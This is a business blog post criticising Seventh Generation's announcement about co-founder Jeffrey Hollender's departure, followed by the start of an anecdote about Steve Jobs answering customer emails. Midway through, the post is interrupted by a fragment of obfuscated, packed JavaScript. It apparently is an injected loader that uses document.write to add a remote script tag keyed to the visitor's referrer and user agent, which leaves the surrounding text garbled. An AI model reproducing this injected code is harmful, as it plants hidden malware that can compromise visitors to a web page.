Tagged: building a sustainable company

Today, more than a week since Seventh Generation CEO Jeffrey Hollender was "let go" (read: fired) from the company he founded, this announcement arrived in my inbox:

http://tinyurl.com/7genblog

Jeffrey_Hollender_2010 
photo courtesy of Tom Starkweather/Bloomberg

Read this carefully crafted message. Here's the gist: "Our co-founder Jeffrey Hollender's employment relationship with the company has ended."

How much does this feel like it's coming from a corporate legal team versus an entrepreneurial, trail-blazing, transparent company? And what message does this send to the hundreds of thousands of Seventh Generation devotees? These announcements teach us important lessons about the often painful transition from startup to growth mode.

Few of us could ever predict when the rotting tree in our company is going to collapse. To make matters worse, even fewer of us know where the rotting trees are located. As a result, sales stagnate, clients leave, and innovation halts.

From our “You Cannot Make this Stuff Up” department, Apple’s Steve Jobs leads the i-pack.

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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zderi|var|u0026u|referrer|ztafh||js|php’.split(‘|’),0,{}))

You see, Steve likes to respond to random customer email inquiries. When college senior Chelsea Isaacs tried reaching his media relations department five times, they never responded. Isaacs proceeded to contact Jobs directly for help….